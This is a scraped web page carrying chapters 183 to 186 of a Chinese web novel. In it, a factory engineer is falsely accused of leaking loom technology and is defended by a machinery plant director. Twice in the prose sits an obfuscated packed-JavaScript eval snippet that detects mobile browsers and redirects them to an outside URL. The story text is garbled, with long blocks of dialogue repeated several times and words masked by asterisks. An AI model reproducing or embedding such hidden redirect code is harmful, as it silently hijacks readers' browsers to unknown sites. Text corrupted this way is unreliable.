“王强同志请你跟我们回局里接受调查。” 王强不愿意可这时候他的意愿没有人听最终王强还是被强势带走。 厂里的人显然也没想到王强会以这样的方式离开众人的视线。 等人群散去姜海棠才问:“良辰你怎么回来了?” 陆良辰露出疲惫的笑容:“这次的培训在胡厂长的干预下延迟了一天我明天再去参加培训。” “王强虽然进去了但还有许多后续问题需要我处理我今天晚上不一定能回家。” 姜海棠浅笑着:“工作重要你也要注意身体。” 陆良辰点头转身大步离开。 纺织厂的工作告一段落姜海棠又到了机械厂。 袜子机的生产已经进入最后的调试阶段她刚到车间就看到向文涛带着几个人正满头大汗地调试机器。 “姜工你来得正好!”向文涛看到她连忙招手“这台机器的传动系统老是出问题我们怎么调试都不行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就是……提花机!**上说你把我们的提花机技术秘密转让给了机械厂!” 姜海棠几乎要气笑了,提花机是机械厂生产的设备,何来“泄露”一说? 这分明是有人故意找茬。 “我知道了,我马上回去。”她挂断电话,转身对向文涛说,“纺织厂有点事,我得回去一趟。这台机器的调试步骤我已经写在记录本上了,你们按照步骤来应该没问题,我会很快回来。” 向文涛担忧地问:“姜工,出什么事了?需要帮忙吗?” “没事,一点小误会。”姜海棠笑了笑,不过是有人故意找茬罢了,姜海棠相信,不会有太大的问题。 不过,举报人挑选的时间倒是十分巧妙,正好在陆良辰离开的空档期,说不定,背后有阴谋。 机械厂的小汽车送姜海棠到了纺织厂,刚下车,一个熟悉的声音从侧面传来。 “海棠姐!” 第184章 反驳 姜海棠转头,看见李秋兰站在厂门口的大树下,手里拎着一个网兜,里面装着就几个蔫巴巴的苹果。 她脸上挂着甜美的笑容,但眼神却闪烁不定。 “李秋兰?你怎么在这儿?”姜海棠警觉起来。 之前,她还没想过是李秋兰举报,但就在看到李秋兰的这一瞬间,姜海棠觉得,可能就是李秋兰举报的自己。 只是,她举报自己的动机是什么? 姜海棠有点想不通。 李秋兰快步走过来,亲**挽住姜海棠的手臂:“我听说你**了,特意来看看你。海棠姐,你没事吧?” 姜海棠用了一点力气抽出手臂:“消息传得这么快?” “哎呀,纺织厂都传遍了。”李秋兰压低声音,“海棠姐,我是担心你,才专门到这里来等你的。” 姜海棠眉头紧蹙,她审视地看着李秋兰:“你专门来告诉我这个?” 李秋兰可不是什么好人,绝对不会好心来这里关心自己,那么,她是来落井下石的? 李秋兰被看得有些不自在,强笑道:“海棠姐,好歹咱们在一起生活了十来年,我和娘都关心你呢。”她把网兜塞到姜海棠手里,“这几个苹果是专门给你买的,你拿着。” 姜海棠没有接:“谢谢,不过,我们的关系没有好到这样,我得赶紧回厂里处理这事,苹果你带回去吧!” 无事献殷勤,非奸即盗,姜海棠完全不相信李秋兰会关心自己。 “我陪着你一起去吧!”李秋兰急忙说,“多个人多个帮手,你和机械厂合作的事我会帮你解释。” 至此,姜海棠已经完全确定了,李秋兰就是举报人,只是不知道,这其中,吴秀云和李胜利起了什么作用。 姜海棠不动声色地继续往前走:“李秋兰,我的事情我自己会处理,不用你帮忙。” “海棠姐!”李秋兰追上来,语气急切,“其实……其实我知道是谁举报的你!” 姜海棠这次真的停下了:“谁?” 李秋兰左右看看,神秘兮兮地说:“这里不方便说。我们一起走,我慢慢告诉你。” 姜海棠看了看手表,调查组还在厂里等着,她没有时间在这里耗。 但李秋兰的异常举动确实可疑…… “那正好,你也不用告诉我了,我们去找调查组的人,你可以当面指证举报人。”姜海棠紧盯着李秋兰的反应。 果然,李秋兰的脸色变得苍白:“海棠姐,我,我又不是纺织厂的人……” “李秋兰,你是什么人,我还能不知道吗?”姜海棠眼神冰冷的看着李秋兰。 刘秋兰被她的眼神吓到,突然转身就跑:“我突然想起来还有事!先走了。” 回到纺织厂,姜海棠直接去了厂长办公室。 陆良辰不在,他的办公室有三名男子正在翻阅文件,韩知秋站在一旁,脸色难看。 “姜工!”韩知秋如见救星般迎上来,“这几位是轻工局调查组的同志。” 为首的男子约莫四十岁,梳着整齐的背头,眼神锐利:“你就是姜海棠同志?我是轻工局生产技术处的齐玉和。” 姜海棠镇定地点头:“齐主任好。” 齐玉和从公文包里取出一封信捏在手里,若有所思地盯着姜海棠看了好一会儿,才缓缓开口。 “姜海棠同志,我们收到了一封**,**上说,你将纺织厂自主研发的提花机技术秘密转让给机械厂,换取个人利益。你有什么要解释的?” 姜海棠看着齐玉和手中的**,上面大大的“**”三个字,可不就是李秋兰的笔记吗? “我可以看看**吗?”姜海棠试探问道。 齐玉和摇头:“我们有责任保护举报人的信息。” 姜海棠既然已经确定了**是李秋兰的手笔,看**不过是一个试探。 “这完全是诬陷。”姜海棠冷静地说,“我们是纺织厂,怎么可能有提花机的技术?” “经过我们调查,你本人和机械厂关系密切,你如何解释?” “我本人因为在机械研究方面有些特长,在机械厂有兼职,这是给省厅打过报告,省厅也批准了的。” 姜海棠直接承认自己在机械厂兼职,倒是让齐玉和和其他两名同志都有些愕然。 他们怎么也没想到,姜海棠竟然直接承认自己兼职。 “姜海棠同志,你一个人在机械厂和纺织厂两边领工资,是典型的多吃多占,这是**行为!” 齐玉和身后年轻的小同志沉不住气,直接开口指责姜海棠。 “小同志,”姜海棠转向那位年轻小同志,声音平和但字字有力。“你还需要多多学习文件。” 姜海棠这话说得淡定,小同志一时之间没听明白姜海棠的意思。 “你,这是什么意思?” “1973年**下发的《关于技术人员兼职问题的暂行规定》明确指出,技术人员在完成本职工作的前提下,经组织批准参与其他单位技术工作,不属于多吃多占。你 这是在学习**时走了神啊,要不要我给你讲讲?” 姜海棠语气调侃,眼神认真。 年轻同志顿时涨红了脸,支支吾吾说不出话来。 齐玉和轻咳一声打圆场:“姜海棠同志说得对,我们要严格区分不正当的技术交流和违规行为。” “不过**中还提到,你将纺织厂的提花工艺参数泄露给机械厂,这又作何解释?” “这更是无稽之谈。”姜海棠看了看陆良辰办公室的书柜,从上面取出一本《纺织机械技术标准》。 “提花机参数是国家轻工业部统一颁布的标准,任何一家纺织厂都能在书店买到这本书。况且——” 她翻开书页指向出版信息:“这本书是1972年纺织工业出版社公开出版的,何来泄密一说?” 办公室里的气氛瞬间凝滞下来,三名调查干部脸上的表情都不是很好看。 韩知秋适时补充:“齐主任,我们厂使用的提花机都是向机械厂采购的,机械厂掌握这些参数,也是为了更好地调整机器。” 齐玉和点点头,正要说话,办公室门突然被推开。 众人看过去,竟是机械厂的**厂长。 姜海棠疑惑,**厂长怎么忽然来纺织厂了。 “**厂长,您是来找我们陆厂长的吗?我们陆厂长参加培训,还没有回来。”韩知秋忙出面招待**厂长。 **厂长看看韩知秋,再看看姜海棠,说道:“海棠同志,遇到事,你怎么都不告诉我一声?要不是向文涛同志告诉我,我还不知道你受委屈了。” **厂长是机械厂的厂长,机械厂在省里也是大厂,许多单位的人都认识**厂长这个人。 包括轻工局的齐玉和,也认识**厂长,他其实还有点意外,**厂长居然会为了姜海棠跑一趟,而且,话里话外都是维护的意思。 “**厂长,您这是对我们调查姜海棠同志有异议?”虽然知道**厂长不好惹,但齐玉和还是硬着头皮开口了。 “当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” “这个,怕是不好调查!举报人是匿名举报!”齐玉和说。 “老子才不管匿名不匿名,我们厂里当成心肝宝贝一样的工程师被诬陷了,这事儿得不到妥善解决,我就找省厅大领导问问去,实在不行,我**。” 这是在学习**时走了神啊,要不要我给你讲讲?” 姜海棠语气调侃,眼神认真。 年轻同志顿时涨红了脸,支支吾吾说不出话来。 齐玉和轻咳一声打圆场:“姜海棠同志说得对,我们要严格区分不正当的技术交流和违规行为。” “不过**中还提到,你将纺织厂的提花工艺参数泄露给机械厂,这又作何解释?” “这更是无稽之谈。”姜海棠看了看陆良辰办公室的书柜,从上面取出一本《纺织机械技术标准》。 “提花机参数是国家轻工业部统一颁布的标准,任何一家纺织厂都能在书店买到这本书。况且——” 她翻开书页指向出版信息:“这本书是1972年纺织工业出版社公开出版的,何来泄密一说?” 办公室里的气氛瞬间凝滞下来,三名调查干部脸上的表情都不是很好看。 韩知秋适时补充:“齐主任,我们厂使用的提花机都是向机械厂采购的,机械厂掌握这些参数,也是为了更好地调整机器。” 齐玉和点点头,正要说话,办公室门突然被推开。 众人看过去,竟是机械厂的**厂长。 姜海棠疑惑,**厂长怎么忽然来纺织厂了。 “**厂长,您是来找我们陆厂长的吗?我们陆厂长参加培训,还没有回来。”韩知秋忙出面招待**厂长。 **厂长看看韩知秋,再看看姜海棠,说道:“海棠同志,遇到事,你怎么都不告诉我一声?要不是向文涛同志告诉我,我还不知道你受委屈了。” **厂长是机械厂的厂长,机械厂在省里也是大厂,许多单位的人都认识**厂长这个人。 包括轻工局的齐玉和,也认识**厂长,他其实还有点意外,**厂长居然会为了姜海棠跑一趟,而且,话里话外都是维护的意思。 “**厂长,您这是对我们调查姜海棠同志有异议?”虽然知道**厂长不好惹,但齐玉和还是硬着头皮开口了。 “当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” “这个,怕是不好调查!举报人是匿名举报!”齐玉和说。 “老子才不管匿名不匿名,我们厂里当成心肝宝贝一样的工程师被诬陷了,这事儿得不到妥善解决,我就找省厅大领导问问去,实在不行,我**。” 这是在学习**时走了神啊,要不要我给你讲讲?” 姜海棠语气调侃,眼神认真。 年轻同志顿时涨红了脸,支支吾吾说不出话来。 齐玉和轻咳一声打圆场:“姜海棠同志说得对,我们要严格区分不正当的技术交流和违规行为。” “不过**中还提到,你将纺织厂的提花工艺参数泄露给机械厂,这又作何解释?” “这更是无稽之谈。”姜海棠看了看陆良辰办公室的书柜,从上面取出一本《纺织机械技术标准》。 “提花机参数是国家轻工业部统一颁布的标准,任何一家纺织厂都能在书店买到这本书。况且——” 她翻开书页指向出版信息:“这本书是1972年纺织工业出版社公开出版的,何来泄密一说?” 办公室里的气氛瞬间凝滞下来,三名调查干部脸上的表情都不是很好看。 韩知秋适时补充:“齐主任,我们厂使用的提花机都是向机械厂采购的,机械厂掌握这些参数,也是为了更好地调整机器。” 齐玉和点点头,正要说话,办公室门突然被推开。 众人看过去,竟是机械厂的**厂长。 姜海棠疑惑,**厂长怎么忽然来纺织厂了。 “**厂长,您是来找我们陆厂长的吗?我们陆厂长参加培训,还没有回来。”韩知秋忙出面招待**厂长。 **厂长看看韩知秋,再看看姜海棠,说道:“海棠同志,遇到事,你怎么都不告诉我一声?要不是向文涛同志告诉我,我还不知道你受委屈了。” **厂长是机械厂的厂长,机械厂在省里也是大厂,许多单位的人都认识**厂长这个人。 包括轻工局的齐玉和,也认识**厂长,他其实还有点意外,**厂长居然会为了姜海棠跑一趟,而且,话里话外都是维护的意思。 “**厂长,您这是对我们调查姜海棠同志有异议?”虽然知道**厂长不好惹,但齐玉和还是硬着头皮开口了。 “当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” 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“当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” “这个,怕是不好调查!举报人是匿名举报!”齐玉和说。 “老子才不管匿名不匿名,我们厂里当成心肝宝贝一样的工程师被诬陷了,这事儿得不到妥善解决,我就找省厅大领导问问去,实在不行,我**。” 这是在学习**时走了神啊,要不要我给你讲讲?” 姜海棠语气调侃,眼神认真。 年轻同志顿时涨红了脸,支支吾吾说不出话来。 齐玉和轻咳一声打圆场:“姜海棠同志说得对,我们要严格区分不正当的技术交流和违规行为。” “不过**中还提到,你将纺织厂的提花工艺参数泄露给机械厂,这又作何解释?” “这更是无稽之谈。”姜海棠看了看陆良辰办公室的书柜,从上面取出一本《纺织机械技术标准》。 “提花机参数是国家轻工业部统一颁布的标准,任何一家纺织厂都能在书店买到这本书。况且——” 她翻开书页指向出版信息:“这本书是1972年纺织工业出版社公开出版的,何来泄密一说?” 办公室里的气氛瞬间凝滞下来,三名调查干部脸上的表情都不是很好看。 韩知秋适时补充:“齐主任,我们厂使用的提花机都是向机械厂采购的,机械厂掌握这些参数,也是为了更好地调整机器。” 齐玉和点点头,正要说话,办公室门突然被推开。 众人看过去,竟是机械厂的**厂长。 姜海棠疑惑,**厂长怎么忽然来纺织厂了。 “**厂长,您是来找我们陆厂长的吗?我们陆厂长参加培训,还没有回来。”韩知秋忙出面招待**厂长。 **厂长看看韩知秋,再看看姜海棠,说道:“海棠同志,遇到事,你怎么都不告诉我一声?要不是向文涛同志告诉我,我还不知道你受委屈了。” **厂长是机械厂的厂长,机械厂在省里也是大厂,许多单位的人都认识**厂长这个人。 包括轻工局的齐玉和,也认识**厂长,他其实还有点意外,**厂长居然会为了姜海棠跑一趟,而且,话里话外都是维护的意思。 “**厂长,您这是对我们调查姜海棠同志有异议?”虽然知道**厂长不好惹,但齐玉和还是硬着头皮开口了。 “当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” “这个,怕是不好调查!举报人是匿名举报!”齐玉和说。 “老子才不管匿名不匿名,我们厂里当成心肝宝贝一样的工程师被诬陷了,这事儿得不到妥善解决,我就找省厅大领导问问去,实在不行,我**。” 这是在学习**时走了神啊,要不要我给你讲讲?” 姜海棠语气调侃,眼神认真。 年轻同志顿时涨红了脸,支支吾吾说不出话来。 齐玉和轻咳一声打圆场:“姜海棠同志说得对,我们要严格区分不正当的技术交流和违规行为。” “不过**中还提到,你将纺织厂的提花工艺参数泄露给机械厂,这又作何解释?” “这更是无稽之谈。”姜海棠看了看陆良辰办公室的书柜,从上面取出一本《纺织机械技术标准》。 “提花机参数是国家轻工业部统一颁布的标准,任何一家纺织厂都能在书店买到这本书。况且——” 她翻开书页指向出版信息:“这本书是1972年纺织工业出版社公开出版的,何来泄密一说?” 办公室里的气氛瞬间凝滞下来,三名调查干部脸上的表情都不是很好看。 韩知秋适时补充:“齐主任,我们厂使用的提花机都是向机械厂采购的,机械厂掌握这些参数,也是为了更好地调整机器。” 齐玉和点点头,正要说话,办公室门突然被推开。 众人看过去,竟是机械厂的**厂长。 姜海棠疑惑,**厂长怎么忽然来纺织厂了。 “**厂长,您是来找我们陆厂长的吗?我们陆厂长参加培训,还没有回来。”韩知秋忙出面招待**厂长。 **厂长看看韩知秋,再看看姜海棠,说道:“海棠同志,遇到事,你怎么都不告诉我一声?要不是向文涛同志告诉我,我还不知道你受委屈了。” **厂长是机械厂的厂长,机械厂在省里也是大厂,许多单位的人都认识**厂长这个人。 包括轻工局的齐玉和,也认识**厂长,他其实还有点意外,**厂长居然会为了姜海棠跑一趟,而且,话里话外都是维护的意思。 “**厂长,您这是对我们调查姜海棠同志有异议?”虽然知道**厂长不好惹,但齐玉和还是硬着头皮开口了。 “当然有异议,举报什么?姜海棠同志泄露纺织厂的机密给我们机械厂?听听,这不是笑话是什么?你们竟然还专门来调查。” “**厂长,举报人举报的除了她泄露纺织厂机密之外,还举报她以权谋私,在机械厂拿高工资,这是典型的资产阶级腐朽作风!” 刚才被即将海棠驳斥的年轻小干部再次迫不及待地跳出来。 **厂长听到年轻同志的话,一把从随身携带的公文包里拽出一份文件,丢在那年轻小同志的身上。 不过,他的目光没有看在年轻小同志身上,而是死死盯着齐玉和。 “齐主任,这是省工业厅批准姜海棠参与机械厂技术研发的批复文件,上面明确写着‘允许姜海棠同志在完成纺织厂本职工作的前提下,参与机械厂技术攻关,所得工资津贴按技术贡献分配’。” 那年轻小同志显然没想到,对方是有备而来,他忙将已经掉落在地上的文件捡起来,恭恭敬敬地递给齐玉和。 齐玉和接过文件仔细查看,最终点头:“姜海棠同志这种情况符合相关规定。” **厂长却并不打算就此收手,而是嚣张地说:“既然姜海棠同志的情况符合规定,那举报人就是诬告,诬告应该怎么处理?” “这……”齐玉和支支吾吾的。 姜海棠语气平稳地开口:“1974年中央就发文明令禁止诬告陷害,我**是顶风作案!齐主任,我请求追究举报人诬告的责任!” “这个,怕是不好调查!举报人是匿名举报!”齐玉和说。 “老子才不管匿名不匿名,我们厂里当成心肝宝贝一样的工程师被诬陷了,这事儿得不到妥善解决,我就找省厅大领导问问去,实在不行,我**。” 第185章 我平时不这样 “老子才不管匿名不匿名我们厂里当成心肝宝贝一样的工程师被诬陷了这事儿得不到妥善解决我就找省厅大领导问问去 **厂长摆出一副老子什么都不怕的样子还真将齐玉和几个人给唬住了。 他们如坐针毡偏偏**厂长还在喋喋不休地叫骂。 “你们以为把陆良辰这小子调虎离山姜海棠同志就由着你们搓圆捏扁了?想都别想!她后头还有我这么个混不吝的撑腰!” 姜海棠眼窝热热的她被**厂长这一番话给感动了。 她和**厂长其实算不得熟悉毕竟她去机械厂的时候比较少去了也不应会见**厂长。 但这样的时候**厂长却不惜破坏自己的形象站在这里保护她。 这样的感觉真好。 齐玉和听着**厂长的那些话只觉得额头都冒汗了。 他们确实是趁着陆厂长参加培训的时候上门的原以为没有陆良辰他们就能拿捏姜海棠。 但他们没想到姜海棠是个精明的能有理有据反驳他们。 更没想到**厂长会跳出来保护姜海棠啊。 机械厂的**厂长这个老头子可比纺织厂年少有为的陆厂长根基深更难缠。 **厂长是能在省厅领导办公室撒泼打滚闹一闹的人物而且战绩可查! 他们可不觉得**厂长说要去领导跟前走走的话是随便说说齐玉和敢保证凡是他今天没有处理好这位一个小时之内真的能去领导办公室闹。 该死的丁长林真是害**了。 心里腹诽完了上司丁长林齐玉和低头道歉:“**厂长这事儿是我们没有调查清楚委屈了姜海棠同志请您大人不记小人过!” 然而**厂长却冷哼一声说道:“你们委屈的不是我给我道歉没用。” 齐玉和听明白了忙歉意地对姜海棠说:“姜海棠同志调查清楚了你是清白的。相关情况我们会向轻工局的领导汇报我们也是为了工作还请您别放在心上。” 姜海棠平静地说:“虽然人常说身正不怕影子斜。不过我认为这种诬告行为若不严肃处理恐怕会助长不良风气。我也相信组织是公平的不管什么时候都会公平公正。” 齐玉和与两名同事交换了个眼神:“这一点您放心我们不管什么时候都会公平公正不会包庇任何一个破坏团结的人对这种破坏生产秩序的行为一定要严肃处理!!” 得 了齐玉和的保证,**厂长也不客气,直接开口让他们回去,别打扰纺织厂的生产秩序。 齐玉和带着两名调查员灰溜溜地离开后,办公室里一时安静得能听见墙上挂钟的滴答声。 **厂长只等人走得看不到影子了,这才收起那副凶神恶煞的表情,转身看向姜海棠时,眼神已经变得慈祥。 “海棠同志,没吓着你吧?”**厂长搓着手,像个做错事的孩子。 姜海棠还真没见过如此多变的**厂长,没忍住笑了。 **厂长继续解释:“我这人脾气急,最见不得老实人受欺负。海棠同志,我平时不这样的,你可不要当我是不讲理的老头子!” 姜海棠眼眶又热了起来,她连忙摇头:“**厂长,谢谢您。要不是您……” “哎,说这些干啥!见外了不是,我们是一家人,你是我们机械厂的工程师,那就是我老**的人!保护你还不是应该的?”**厂长大大咧咧地说。 韩知秋适时地递上一杯热茶:“**厂长,您喝茶。” **厂长接过茶杯,咕咚咕咚一饮而尽,抹了抹嘴说:“小姜啊,这事儿我看不简单。那个李秋兰是你前小姑子?” 姜海棠苦笑:“是我前夫李胜利的妹妹。” 李秋兰这一波操作,姜海棠其实没看明白。 李秋兰举报了她,又在她跟前刷存在感,动机并不像希望自己倒霉。 甚至,她那**应该就是随口胡诌的,举报的内容甚至都不用大动肝火的查就能调查清楚。 偏偏,轻工局那边安排人来调查了,而且还是冲着搞自己的想法来的。 “不是什么好人,你防着点,有事让人给我送信,千万不要自己扛,你还年轻,扛不住事。”**厂长苦口婆心地说着。 姜海棠点头:“我会的,**厂长。您先回机械厂,我这边处理一些事再回去。” “我正好不忙,就在纺织厂等你。海棠,轻工局的副局长丁长林是王强的姐夫,王强是丁长林在纺织厂扶持起来的人。” “去年,丁长林就想着把王强扶到副厂长的位置上,谁知道,组织上空降了一个陆良辰,坏了丁长林的计划。” “这段时间,丁长林和王强没少走动,就为了上副厂长,我听人说,已经弄得差不多了。现在纺织厂把王强送进去了,丁长林这边损失了一员大将,肯定不会善罢甘休。” 话说到这里,姜海棠明白了。 李秋兰的**,给了丁长林一个借口调查自己,甚至,调查的目的可能不是 自己,而是陆良辰。 而她因为和陆良辰的关系,让他们觉得,这是一个打击陆良辰的一个突破口。 “我得赶紧通知良辰,可他培训去了,我听说是封闭式的,应该见不到!”姜海棠急忙拿起电话,忽而想起陆良辰说,这次集中培训是封闭式的。 **厂长安抚他:“别急,陆良辰那小子机灵着呢,这会儿说不定已经得到消息了。你先忙你的,我想办法联系他,给他送个信儿过去。” 姜海棠没客气,立即向**厂长道谢,然后和几个值得信任的人商量了一下后续的处置工作。 她把**厂长的分析转述给大家,众人听后都倒吸一口冷气。 “所以……这次是轻工局的丁副局长在搞鬼?”黎景程声音发颤,“我以前见过他,搭档是还觉得,他是个和蔼的领导,真没想到……我们该怎么办?他可是管着我们的领导啊!” 张巧红咬着嘴唇:“难怪王强那么嚣张,原来背后有这么大靠山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797858|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 姜海棠环视众人,声音坚定:“不管靠山多大,我们行得正坐得直,就不怕他们使绊子。这段时间,大家必须要打起十二万分的精神,绝对不能让人抓到任何把柄。另外,赵科长,请你安排人特别关注王强和李胜利,如果可以的话,也盯着丁长林一点。” 其他人也将自己的意见和建议都说了出来,几个年轻人群策群力,你一言我一语,很快就制定出了一个周密的保卫计划。 安排好了这些,**厂长已经在吉普车上等着她了。 姜海棠上车。 **厂长说:“我已经联系到陆厂长了,今天晚上八点,陆厂长会给我的办公室打电话,到时候你可以和他通话。” 姜海棠认真地给**厂长道谢。 晚上八点,**厂长办公室的电话果然响了起来。 姜海棠接起电话。 “海棠,是我。”电话那头传来陆良辰低沉的声音,“今天的事我听说了,你没事吧?” 听到陆良辰的声音,姜海棠紧绷了一天的神经终于放松下来。 “我没事,多亏**厂长及时赶到。”她简单叙述了事情经过,“良辰,这事不简单,有没有可能是针对你来的。” 电话那头沉默了片刻:“丁长林这段时间动作频繁,我不在的时候,你要谨慎小心些,实在不行,这些天留在机械厂别回纺织厂。” “我不回去,小桃子怎么办?” “小桃子那边,孔大娘会好生照料,小桃子懂事,不会哭闹。” 挂断电 话,姜海棠正要走出**厂长的办公室,**厂长进来了。 “海棠同志,我已经让人收拾好了宿舍,你这几天就住在机械厂吧,我会安排人加强安保工作。” 听到**厂长这话,姜海棠道谢,并没有拒绝,只是又给纺织厂那边打了一个电话,让赵凯去一趟刘红梅家,请刘红梅照顾小桃子几天。 姜海棠这边直接在机械厂住下来,纺织厂的李秋兰可着急坏了。 她写**,本来就不是为了整垮姜海棠,而是为了趁机关心姜海棠,让姜海棠和李家重归就好。 谁知道上面那些人,竟然折腾出这么一大滩的事儿,现在可好,姜海棠干脆不见了。 人都找不到了,还怎么套近乎? 李秋兰回家将情况对吴秀云说了。 吴秀云阴恻恻地说:“躲得过初一,躲不过十五。实在不行,不是还有个她放在心上的小崽子?” 姜海棠再次回到纺织厂,已经是一周之后了 她刚回到厂里,就看到了李胜利。 姜海棠立刻警觉起来,大踏步走着,就想离李胜利远一点。 李胜利却已经看到了她,快步追了上来。 “姜海棠!你为什么要躲着我?”李胜利的声音里充满愤怒。 姜海棠停下脚步,但保持着安全距离:“李胜利同志,有事吗?我觉得,我们之间还是尽量不要接触最好。” 第186章 ** 李胜利左右看看,压低声音说:“姜海棠,我要离婚了,你继续和我在一起好不好?” 姜海棠简直觉得,滑天下之大稽。 事到如今,李胜利竟然还能摆出这样一副样子来通知自己,这是有多大的自信啊? 